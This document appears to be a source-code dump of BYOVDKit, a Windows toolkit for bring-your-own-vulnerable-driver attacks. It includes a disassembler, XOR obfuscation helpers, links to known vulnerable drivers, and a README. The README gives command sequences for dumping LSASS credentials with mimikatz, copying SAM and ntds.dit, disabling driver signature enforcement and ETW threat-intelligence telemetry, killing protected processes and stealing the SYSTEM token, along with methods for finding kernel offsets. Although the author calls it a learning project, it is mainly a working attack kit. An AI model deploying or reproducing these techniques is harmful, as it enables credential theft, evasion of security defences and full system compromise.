CopyToken(DWORD SrcPid, DWORD DstPid); -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/hde64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | * hde64.h: C/C++ header file 7 | * 8 | */ 9 | #pragma once 10 | 11 | #ifndef _HDE64_H_ 12 | #define _HDE64_H_ 13 | 14 | #include 15 | 16 | // Integer types for HDE. stdint.h 17 | typedef INT8 int8_t; 18 | typedef INT16 int16_t; 19 | typedef INT32 int32_t; 20 | typedef INT64 int64_t; 21 | typedef UINT8 uint8_t; 22 | typedef UINT16 uint16_t; 23 | typedef UINT32 uint32_t; 24 | typedef UINT64 uint64_t; 25 | 26 | // table64.h 27 | #define C_NONE 0x00 28 | #define C_MODRM 0x01 29 | #define C_IMM8 0x02 30 | #define C_IMM16 0x04 31 | #define C_IMM_P66 0x10 32 | #define C_REL8 0x20 33 | #define C_REL32 0x40 34 | #define C_GROUP 0x80 35 | #define C_ERROR 0xff 36 | 37 | #define PRE_ANY 0x00 38 | #define PRE_NONE 0x01 39 | #define PRE_F2 0x02 40 | #define PRE_F3 0x04 41 | #define PRE_66 0x08 42 | #define PRE_67 0x10 43 | #define PRE_LOCK 0x20 44 | #define PRE_SEG 0x40 45 | #define PRE_ALL 0xff 46 | 47 | #define DELTA_OPCODES 0x4a 48 | #define DELTA_FPU_REG 0xfd 49 | #define DELTA_FPU_MODRM 0x104 50 | #define DELTA_PREFIXES 0x13c 51 | #define DELTA_OP_LOCK_OK 0x1ae 52 | #define DELTA_OP2_LOCK_OK 0x1c6 53 | #define DELTA_OP_ONLY_MEM 0x1d8 54 | #define DELTA_OP2_ONLY_MEM 0x1e7 55 | 56 | unsigned char hde64_table[] = { 57 | 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, 58 | 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, 59 | 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, 60 | 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, 61 | 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, 62 | 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, 63 | 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, 64 | 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, 65 | 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, 66 | 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, 67 | 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, 68 | 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, 69 | 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, 70 | 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, 71 | 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, 72 | 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, 73 | 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, 74 | 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, 75 | 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, 76 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, 77 | 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, 78 | 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, 79 | 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, 80 | 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, 81 | 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, 82 | 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, 83 | 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, 84 | 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, 85 | 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, 86 | 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, 87 | 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, 88 | 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, 89 | 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, 90 | 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, 91 | 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, 92 | 0x00,0xf0,0x02,0x00 93 | }; 94 | //end 95 | 96 | #define F_MODRM 0x00000001 97 | #define F_SIB 0x00000002 98 | #define F_IMM8 0x00000004 99 | #define F_IMM16 0x00000008 100 | #define F_IMM32 0x00000010 101 | #define F_IMM64 0x00000020 102 | #define F_DISP8 0x00000040 103 | #define F_DISP16 0x00000080 104 | #define F_DISP32 0x00000100 105 | #define F_RELATIVE 0x00000200 106 | #define F_ERROR 0x00001000 107 | #define F_ERROR_OPCODE 0x00002000 108 | #define F_ERROR_LENGTH 0x00004000 109 | #define F_ERROR_LOCK 0x00008000 110 | #define F_ERROR_OPERAND 0x00010000 111 | #define F_PREFIX_REPNZ 0x01000000 112 | #define F_PREFIX_REPX 0x02000000 113 | #define F_PREFIX_REP 0x03000000 114 | #define F_PREFIX_66 0x04000000 115 | #define F_PREFIX_67 0x08000000 116 | #define F_PREFIX_LOCK 0x10000000 117 | #define F_PREFIX_SEG 0x20000000 118 | #define F_PREFIX_REX 0x40000000 119 | #define F_PREFIX_ANY 0x7f000000 120 | 121 | #define PREFIX_SEGMENT_CS 0x2e 122 | #define PREFIX_SEGMENT_SS 0x36 123 | #define PREFIX_SEGMENT_DS 0x3e 124 | #define PREFIX_SEGMENT_ES 0x26 125 | #define PREFIX_SEGMENT_FS 0x64 126 | #define PREFIX_SEGMENT_GS 0x65 127 | #define PREFIX_LOCK 0xf0 128 | #define PREFIX_REPNZ 0xf2 129 | #define PREFIX_REPX 0xf3 130 | #define PREFIX_OPERAND_SIZE 0x66 131 | #define PREFIX_ADDRESS_SIZE 0x67 132 | 133 | #pragma pack(push,1) 134 | 135 | typedef struct { 136 | uint8_t len; 137 | uint8_t p_rep; 138 | uint8_t p_lock; 139 | uint8_t p_seg; 140 | uint8_t p_66; 141 | uint8_t p_67; 142 | uint8_t rex; 143 | uint8_t rex_w; 144 | uint8_t rex_r; 145 | uint8_t rex_x; 146 | uint8_t rex_b; 147 | uint8_t opcode; 148 | uint8_t opcode2; 149 | uint8_t modrm; 150 | uint8_t modrm_mod; 151 | uint8_t modrm_reg; 152 | uint8_t modrm_rm; 153 | uint8_t sib; 154 | uint8_t sib_scale; 155 | uint8_t sib_index; 156 | uint8_t sib_base; 157 | union { 158 | uint8_t imm8; 159 | uint16_t imm16; 160 | uint32_t imm32; 161 | uint64_t imm64; 162 | } imm; 163 | union { 164 | uint8_t disp8; 165 | uint16_t disp16; 166 | uint32_t disp32; 167 | } disp; 168 | uint32_t flags; 169 | } hde64s; 170 | 171 | #pragma pack(pop) 172 | 173 | #ifdef __cplusplus 174 | extern "C" { 175 | #endif 176 | 177 | /* __cdecl */ 178 | unsigned int hde64_disasm(const void* code, hde64s* hs); 179 | 180 | #ifdef __cplusplus 181 | } 182 | #endif 183 | 184 | #endif /* _HDE64_H_ */ 185 | 186 | //hde64.c 187 | #pragma warning(push) 188 | #pragma warning(disable:4701) 189 | #pragma warning(disable:4706) 190 | #pragma warning(disable:26451) 191 | 192 | unsigned int hde64_disasm(const void* code, hde64s* hs) 193 | { 194 | uint8_t x, c = 0, * p = (uint8_t*)code, cflags, opcode, pref = 0; 195 | uint8_t* ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; 196 | uint8_t op64 = 0; 197 | 198 | // Avoid using memset to reduce the footprint. 199 | #ifndef _MSC_VER 200 | memset((LPBYTE)hs, 0, sizeof(hde64s)); 201 | #else 202 | __stosb((LPBYTE)hs, 0, sizeof(hde64s)); 203 | #endif 204 | 205 | for (x = 16; x; x--) 206 | switch (c = *p++) { 207 | case 0xf3: 208 | hs->p_rep = c; 209 | pref |= PRE_F3; 210 | break; 211 | case 0xf2: 212 | hs->p_rep = c; 213 | pref |= PRE_F2; 214 | break; 215 | case 0xf0: 216 | hs->p_lock = c; 217 | pref |= PRE_LOCK; 218 | break; 219 | case 0x26: case 0x2e: case 0x36: 220 | case 0x3e: case 0x64: case 0x65: 221 | hs->p_seg = c; 222 | pref |= PRE_SEG; 223 | break; 224 | case 0x66: 225 | hs->p_66 = c; 226 | pref |= PRE_66; 227 | break; 228 | case 0x67: 229 | hs->p_67 = c; 230 | pref |= PRE_67; 231 | break; 232 | default: 233 | goto pref_done; 234 | } 235 | pref_done: 236 | 237 | hs->flags = (uint32_t)pref << 23; 238 | 239 | if (!pref) 240 | pref |= PRE_NONE; 241 | 242 | if ((c & 0xf0) == 0x40) { 243 | hs->flags |= F_PREFIX_REX; 244 | if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) 245 | op64++; 246 | hs->rex_r = (c & 7) >> 2; 247 | hs->rex_x = (c & 3) >> 1; 248 | hs->rex_b = c & 1; 249 | if (((c = *p++) & 0xf0) == 0x40) { 250 | opcode = c; 251 | goto error_opcode; 252 | } 253 | } 254 | 255 | if ((hs->opcode = c) == 0x0f) { 256 | hs->opcode2 = c = *p++; 257 | ht += DELTA_OPCODES; 258 | } 259 | else if (c >= 0xa0 && c <= 0xa3) { 260 | op64++; 261 | if (pref & PRE_67) 262 | pref |= PRE_66; 263 | else 264 | pref &= ~PRE_66; 265 | } 266 | 267 | opcode = c; 268 | cflags = ht[ht[opcode / 4] + (opcode % 4)]; 269 | 270 | if (cflags == C_ERROR) { 271 | error_opcode: 272 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 273 | cflags = 0; 274 | if ((opcode & -3) == 0x24) 275 | cflags++; 276 | } 277 | 278 | x = 0; 279 | if (cflags & C_GROUP) { 280 | uint16_t t; 281 | t = *(uint16_t*)(ht + (cflags & 0x7f)); 282 | cflags = (uint8_t)t; 283 | x = (uint8_t)(t >> 8); 284 | } 285 | 286 | if (hs->opcode2) { 287 | ht = hde64_table + DELTA_PREFIXES; 288 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref) 289 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 290 | } 291 | 292 | if (cflags & C_MODRM) { 293 | hs->flags |= F_MODRM; 294 | hs->modrm = c = *p++; 295 | hs->modrm_mod = m_mod = c >> 6; 296 | hs->modrm_rm = m_rm = c & 7; 297 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3; 298 | 299 | if (x && ((x << m_reg) & 0x80)) 300 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 301 | 302 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { 303 | uint8_t t = opcode - 0xd9; 304 | if (m_mod == 3) { 305 | ht = hde64_table + DELTA_FPU_MODRM + t * 8; 306 | t = ht[m_reg] << m_rm; 307 | } 308 | else { 309 | ht = hde64_table + DELTA_FPU_REG; 310 | t = ht[t] << m_reg; 311 | } 312 | if (t & 0x80) 313 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 314 | } 315 | 316 | if (pref & PRE_LOCK) { 317 | if (m_mod == 3) { 318 | hs->flags |= F_ERROR | F_ERROR_LOCK; 319 | } 320 | else { 321 | uint8_t* table_end, op = opcode; 322 | if (hs->opcode2) { 323 | ht = hde64_table + DELTA_OP2_LOCK_OK; 324 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; 325 | } 326 | else { 327 | ht = hde64_table + DELTA_OP_LOCK_OK; 328 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; 329 | op &= -2; 330 | } 331 | for (; ht != table_end; ht++) 332 | if (*ht++ == op) { 333 | if (!((*ht << m_reg) & 0x80)) 334 | goto no_lock_error; 335 | else 336 | break; 337 | } 338 | hs->flags |= F_ERROR | F_ERROR_LOCK; 339 | no_lock_error: 340 | ; 341 | } 342 | } 343 | 344 | if (hs->opcode2) { 345 | switch (opcode) { 346 | case 0x20: case 0x22: 347 | m_mod = 3; 348 | if (m_reg > 4 || m_reg == 1) 349 | goto error_operand; 350 | else 351 | goto no_error_operand; 352 | case 0x21: case 0x23: 353 | m_mod = 3; 354 | if (m_reg == 4 || m_reg == 5) 355 | goto error_operand; 356 | else 357 | goto no_error_operand; 358 | } 359 | } 360 | else { 361 | switch (opcode) { 362 | case 0x8c: 363 | if (m_reg > 5) 364 | goto error_operand; 365 | else 366 | goto no_error_operand; 367 | case 0x8e: 368 | if (m_reg == 1 || m_reg > 5) 369 | goto error_operand; 370 | else 371 | goto no_error_operand; 372 | } 373 | } 374 | 375 | if (m_mod == 3) { 376 | uint8_t* table_end; 377 | if (hs->opcode2) { 378 | ht = hde64_table + DELTA_OP2_ONLY_MEM; 379 | table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; 380 | } 381 | else { 382 | ht = hde64_table + DELTA_OP_ONLY_MEM; 383 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; 384 | } 385 | for (; ht != table_end; ht += 2) 386 | if (*ht++ == opcode) { 387 | if (*ht++ & pref && !((*ht << m_reg) & 0x80)) 388 | goto error_operand; 389 | else 390 | break; 391 | } 392 | goto no_error_operand; 393 | } 394 | else if (hs->opcode2) { 395 | switch (opcode) { 396 | case 0x50: case 0xd7: case 0xf7: 397 | if (pref & (PRE_NONE | PRE_66)) 398 | goto error_operand; 399 | break; 400 | case 0xd6: 401 | if (pref & (PRE_F2 | PRE_F3)) 402 | goto error_operand; 403 | break; 404 | case 0xc5: 405 | goto error_operand; 406 | } 407 | goto no_error_operand; 408 | } 409 | else 410 | goto no_error_operand; 411 | 412 | error_operand: 413 | hs->flags |= F_ERROR | F_ERROR_OPERAND; 414 | no_error_operand: 415 | 416 | c = *p++; 417 | if (m_reg <= 1) { 418 | if (opcode == 0xf6) 419 | cflags |= C_IMM8; 420 | else if (opcode == 0xf7) 421 | cflags |= C_IMM_P66; 422 | } 423 | 424 | switch (m_mod) { 425 | case 0: 426 | if (pref & PRE_67) { 427 | if (m_rm == 6) 428 | disp_size = 2; 429 | } 430 | else 431 | if (m_rm == 5) 432 | disp_size = 4; 433 | break; 434 | case 1: 435 | disp_size = 1; 436 | break; 437 | case 2: 438 | disp_size = 2; 439 | if (!(pref & PRE_67)) 440 | disp_size <<= 1; 441 | } 442 | 443 | if (m_mod != 3 && m_rm == 4) { 444 | hs->flags |= F_SIB; 445 | p++; 446 | hs->sib = c; 447 | hs->sib_scale = c >> 6; 448 | hs->sib_index = (c & 0x3f) >> 3; 449 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) 450 | disp_size = 4; 451 | } 452 | 453 | p--; 454 | switch (disp_size) { 455 | case 1: 456 | hs->flags |= F_DISP8; 457 | hs->disp.disp8 = *p; 458 | break; 459 | case 2: 460 | hs->flags |= F_DISP16; 461 | hs->disp.disp16 = *(uint16_t*)p; 462 | break; 463 | case 4: 464 | hs->flags |= F_DISP32; 465 | hs->disp.disp32 = *(uint32_t*)p; 466 | } 467 | p += disp_size; 468 | } 469 | else if (pref & PRE_LOCK) 470 | hs->flags |= F_ERROR | F_ERROR_LOCK; 471 | 472 | if (cflags & C_IMM_P66) { 473 | if (cflags & C_REL32) { 474 | if (pref & PRE_66) { 475 | hs->flags |= F_IMM16 | F_RELATIVE; 476 | hs->imm.imm16 = *(uint16_t*)p; 477 | p += 2; 478 | goto disasm_done; 479 | } 480 | goto rel32_ok; 481 | } 482 | if (op64) { 483 | hs->flags |= F_IMM64; 484 | hs->imm.imm64 = *(uint64_t*)p; 485 | p += 8; 486 | } 487 | else if (!(pref & PRE_66)) { 488 | hs->flags |= F_IMM32; 489 | hs->imm.imm32 = *(uint32_t*)p; 490 | p += 4; 491 | } 492 | else 493 | goto imm16_ok; 494 | } 495 | 496 | 497 | if (cflags & C_IMM16) { 498 | imm16_ok: 499 | hs->flags |= F_IMM16; 500 | hs->imm.imm16 = *(uint16_t*)p; 501 | p += 2; 502 | } 503 | if (cflags & C_IMM8) { 504 | hs->flags |= F_IMM8; 505 | hs->imm.imm8 = *p++; 506 | } 507 | 508 | if (cflags & C_REL32) { 509 | rel32_ok: 510 | hs->flags |= F_IMM32 | F_RELATIVE; 511 | hs->imm.imm32 = *(uint32_t*)p; 512 | p += 4; 513 | } 514 | else if (cflags & C_REL8) { 515 | hs->flags |= F_IMM8 | F_RELATIVE; 516 | hs->imm.imm8 = *p++; 517 | } 518 | 519 | disasm_done: 520 | 521 | if ((hs->len = (uint8_t)(p - (uint8_t*)code)) > 15) { 522 | hs->flags |= F_ERROR | F_ERROR_LENGTH; 523 | hs->len = 15; 524 | } 525 | 526 | return (unsigned int)hs->len; 527 | } 528 | #pragma warning(pop) 529 | 530 | 531 | 532 | -------------------------------------------------------------------------------- /BYOVDKit/BYOVDKit/helpers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "DisableDSE.h" 4 | 5 | //prototypes 6 | void RtlInitUnicodeString(PUNICODE_STRING destination, PCWSTR source); 7 | size_t cwcscpy(wchar_t* dest, const wchar_t* src); 8 | size_t cwmemcpy(wchar_t* s1, const wchar_t* s2, size_t n); 9 | size_t cmemcpy(char* dst, const char* src, size_t size); 10 | size_t cwcslen(const wchar_t* src); 11 | void cZeroMemory(PVOID, SIZE_T); 12 | int rotl(int x, int n); 13 | wchar_t* wobfsct(wchar_t* in, int len); 14 | char* aobfsct(char* in, int len); 15 | char* xordecrypt(char* in, int len); 16 | 17 | char* xordecrypt(char* in, int len) 18 | { 19 | char* out = (char*)malloc(sizeof(char) * len); 20 | 21 | for (int i = 0; i < len; i++) 22 | { 23 | out[i] = in[i] ^ ((len - 1) % 255); 24 | } 25 | return out; 26 | } 27 | 28 | char* aobfsct(char* in, int len) 29 | { 30 | char* out = (char*)malloc(sizeof(char) * (len + 1)); //+1 account for \0 31 | 32 | for (int i = 0; i < len; i++) 33 | { 34 | out[i] = in[i] ^ (rotl(len, i) % 255); 35 | } 36 | out[len] = '\0'; 37 | return out; 38 | } 39 | 40 | wchar_t* wobfsct(wchar_t* in, int len) 41 | { 42 | wchar_t* out = (wchar_t*)malloc(sizeof(wchar_t) * (len + 1)); //+1 account for \0 43 | 44 | for (int i = 0; i < len; i++) 45 | { 46 | out[i] = in[i] ^ (rotl(len, i) % 255); 47 | } 48 | out[len] = L'\0'; 49 | return out; 50 | } 51 | 52 | int rotl(int x, int n) { 53 | return (x << n) | (x >> (0x1F & (32 + ~n + 1))) & ~(0xFFFFFFFF << n); 54 | } 55 | 56 | void RtlInitUnicodeString(PUNICODE_STRING destination, PCWSTR source) { 57 | destination->Buffer = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (cwcslen(source) + 1) * sizeof(WCHAR)); 58 | USHORT length = (USHORT)cwcscpy(destination->Buffer, source); 59 | destination->MaximumLength = length + 2; 60 | destination->Length = length; 61 | } 62 | 63 | size_t cwcscpy(wchar_t* dest, const wchar_t* src) { 64 | return cwmemcpy(dest, src, cwcslen(src)); 65 | } 66 | 67 | size_t cwmemcpy(wchar_t* s1, const wchar_t* s2, size_t n) { 68 | return cmemcpy((char*)s1, (char*)s2, n * sizeof(wchar_t)); 69 | } 70 | 71 | size_t cmemcpy(char* dst, const char* src, size_t size) { 72 | int x; 73 | for (x = 0; x < size; x++) { 74 | *dst = *src; 75 | dst++; 76 | src++; 77 | } 78 | return size; 79 | } 80 | 81 | size_t cwcslen(const wchar_t* src) { 82 | size_t len = 0; 83 | 84 | while (src[len] != L'\0') { 85 | if (src[++len] == L'\0') { 86 | return len; 87 | } 88 | if (src[++len] == L'\0') { 89 | return len; 90 | } 91 | if (src[++len] == L'\0') { 92 | return len; 93 | } 94 | ++len; 95 | } 96 | return len; 97 | } 98 | 99 | void cZeroMemory(PVOID destination, SIZE_T size) 100 | { 101 | PULONG dest = (PULONG)destination; 102 | SIZE_T count = size / sizeof(ULONG); 103 | 104 | while (count > 0) { 105 | *dest = 0; 106 | dest++; 107 | count--; 108 | } 109 | return; 110 | } -------------------------------------------------------------------------------- /Drivers/RTCore64.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/BYOVDKit/ccb5f8b158fccf678abb0a33f5ee20bf45bd6a02/Drivers/RTCore64.sys -------------------------------------------------------------------------------- /Drivers/dbutil_2_3.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/BYOVDKit/ccb5f8b158fccf678abb0a33f5ee20bf45bd6a02/Drivers/dbutil_2_3.sys -------------------------------------------------------------------------------- /Drivers/gdrv.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Hagrid29/BYOVDKit/ccb5f8b158fccf678abb0a33f5ee20bf45bd6a02/Drivers/gdrv.sys -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BYOVDKit 2 | 3 | BYOVDKit is a tool kit for utilizing vulnerable driver to perform various attack aka bring your own vulnerable driver (BYOVD) attack. I wrote this to 4 | 5 | - make use of different vulnerable drivers easily (support DBUtil_2_3, RTCore64 and GIGABYTE). You can put your own driver read/write implementation in DriverOps.cpp and DriverOps.h 6 | 7 | - calculate offset in runtime to avoid hardcoding offset 8 | 9 | - review some of the code for learning purpose 10 | 11 | - learn how to leverage kernel read write vulnerability 12 | 13 | - learn kernel debug 14 | 15 | I wont recommend you to use this in production environment as this project could cause BSOD due to PatchGuard/HVCI/etc or a wrong offset calculation. I didnt test with 32 bit system. 16 | 17 | ### Usage 18 | 19 | ``` 20 | .\BYOVDKit.exe 21 | - 0: Undefined, 1: DBUtil_2_3, 2: RTCore64, 3: GIGABYTE. Default DBUtil_2_3 22 | Options: 23 | Install Driver: installDrv [service name] 24 | Uninstall Driver: uninstallDrv 25 | PPL options: PPL [PID] 26 | [PID] - default check or disable LSA protection 27 | PPL options: PPL enable [ ] 28 | [PP/PPL] - default PPL 29 | [signer type] - default WinTcb 30 | DSE options: DSE 31 | DSE options: DSE installUnsignDrv 32 | installUnsignDrv - Install Unsigned Driver and revert DSE setting 33 | Copy protected file: copy 34 | Delete protected file: delete 35 | Terminate protected process: kill 36 | Copy Token: token [target PID] 37 | [source PID] - input 4 to copy SYSTEM token 38 | [target PID] - default spawn cmd 39 | EtwTi options: ETW 40 | ``` 41 | 42 | #### Enable PPL to dump LSASS when LSA protection is on 43 | 44 | ``` 45 | .\BYOVDKit.exe 1 installDrv C:\dbutil_2_3.sys 46 | .\BYOVDKit.exe 1 PPL enable 47 | mimikatz # sekurlsa::logonpasswords 48 | ``` 49 | 50 | #### Copy NTDS on Domain Controller 51 | 52 | ``` 53 | .\BYOVDKit.exe 2 installDrv C:\RTCore64.sys 54 | .\BYOVDKit.exe 2 copy C:\Windows\System32\Config\SAM 55 | .\BYOVDKit.exe 2 copy C:\Windows\NTDS\ntds.dit 56 | ``` 57 | 58 | #### Install Unsigned Driver 59 | 60 | ``` 61 | .\BYOVDKit.exe 1 installDrv C:\dbutil_2_3.sys 62 | .\BYOVDKit.exe 1 DSE installUnsignDrv C:\MyDriver.sys MyDriver 63 | ``` 64 | 65 | or do it step by step 66 | 67 | ``` 68 | .\BYOVDKit.exe 2 installDrv C:\dbutil_2_3.sys 69 | .\BYOVDKit.exe 2 DSE check 70 | .\BYOVDKit.exe 2 DSE disable 71 | .\BYOVDKit.exe 0 installDrv C:\MyDriver.sys MyDriver 72 | .\BYOVDKit.exe 2 DSE enable 73 | ``` 74 | 75 | #### Disable EtwTi 76 | 77 | ``` 78 | .\BYOVDKit.exe 3 installDrv C:\gdrv.sys 79 | .\BYOVDKit.exe 3 ETW disable 80 | ``` 81 | 82 | 83 | 84 | ### Calculate Offset in Runtime 85 | 86 | ##### EtwThreatIntProvRegHandle 87 | 88 | As suggested in [method 1](https://securityintelligence.com/posts/direct-kernel-object-manipulation-attacks-etw-providers/), we can map `ntoskrnl.exe` into memory and read data at `KeInsertQueueApc` byte by byte until we hit `mov R10` to retrieve the offset. But during debugging, I found that the assembly code is `mov rcx` in my VM. The source code of `KeInsertQueueApc` may be different across different built of Windows. I only check for `mov R10` and `mov rcx` in this project. 89 | 90 | ``` 91 | 0: kd> uf nt!KeInsertQueueApc 92 | nt!KeInsertQueueApc: 93 | fffff807`60d13500 48895c2410 mov qword ptr [rsp+10h],rbx 94 | ... 95 | fffff807`60d13524 488b0d65e29100 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff807`61631790)] 96 | ``` 97 | 98 | Disassemble the shellcode `488b0d65e29100` [here](https://defuse.ca/online-x86-assembler.htm#disassembly2) give us `mov rcx,QWORD PTR [rip+0x91e265]`. Clearly we can search for `\x48\x8b\x0d` to extract the virtual offset. Kernel base address could be retrieve through ` EnumDeviceDrivers` where Windows kernel being the first entry. So the global address = `address of \x48\x8b\x0d + 0x91e265 - mapped address of ntoskrnl.exe + kernel base address` 99 | 100 | ##### ProcessToken and ObjectTable 101 | 102 | @itm4n's [blog post](https://itm4n.github.io/debugging-protected-processes/) show us that we can to extract the offset of `ProcessProtection` by reading data at `PsIsProtectedProcess`. By assuming those offsets always have same distance in the struct `_EPROCESS`, we can calculate offset `ProcessSignatureLevel = ProcessProtection - 0x2`. Similarly, according to [this forum post](https://www.unknowncheats.me/forum/3411035-post9.html?s=78c170ef7a645916c3ac8783fc221c21), `ProcessToken = ProcessJob - 0x58` and I assume `ProcessObjectTable = ProcessDebugPort - 0x8` in this project. 103 | 104 | ``` 105 | 0: kd> uf nt!PsGetProcessDebugPort 106 | nt!PsGetProcessDebugPort: 107 | fffff805`1cf75050 488b8178050000 mov rax,qword ptr [rcx+578h] 108 | fffff805`1cf75057 c3 ret 109 | ``` 110 | 111 | The offset of `ProcessDebugPort` is `0x0578` which could be extracted by reading data in address of`PsGetProcessDebugPort + 3` 112 | 113 | ``` 114 | 0: kd> dt nt!_EPROCESS 115 | +0x000 Pcb : _KPROCESS 116 | +0x438 ProcessLock : _EX_PUSH_LOCK 117 | +0x440 UniqueProcessId : Ptr64 Void 118 | +0x448 ActiveProcessLinks : _LIST_ENTRY 119 | ... 120 | +0x570 ObjectTable : Ptr64 _HANDLE_TABLE 121 | +0x578 DebugPort : Ptr64 Void 122 | ... 123 | ``` 124 | 125 | By inspecting the struct `_EPROCESS`, the offset can by calculate as `ProcessObjectTable = ProcessDebugPort - size of _HANDLE_TABLE` 126 | 127 | ##### g_CiOptions 128 | 129 | @XPN's [blog post](https://blog.xpnsec.com/gcioptions-in-a-virtualized-world/) demonstrate how to search the global offset of `g_CiOptions`. This [BOF](https://github.com/NVISOsecurity/CobaltWhispers/blob/main/src/Drivers/DisableDSE/DisableDSE.c) has similar implementation which is adopted in this project. First we map `CI.dll` into memory. Reading data byte by byte at `CiInitialize` until we hit `mov ecx,ebp`. 130 | 131 | ``` 132 | 0: kd> uf CI!CiInitialize 133 | ... 134 | CI!CiInitialize+0x49: 135 | fffff802`82433449 4c8bcb mov r9,rbx 136 | fffff802`8243344c 4c8bc7 mov r8,rdi 137 | fffff802`8243344f 488bd6 mov rdx,rsi 138 | fffff802`82433452 8bcd mov ecx,ebp 139 | fffff802`82433454 e8bb080000 call CI!CipInitialize (fffff802`82433d14) 140 | ``` 141 | 142 | Shellcode `e8bb08` disassemble to `call 0x8bb+5` which indicate address of `CipInitialize` locate at `address of \xe8 + 0x8bb + 5`. 143 | 144 | 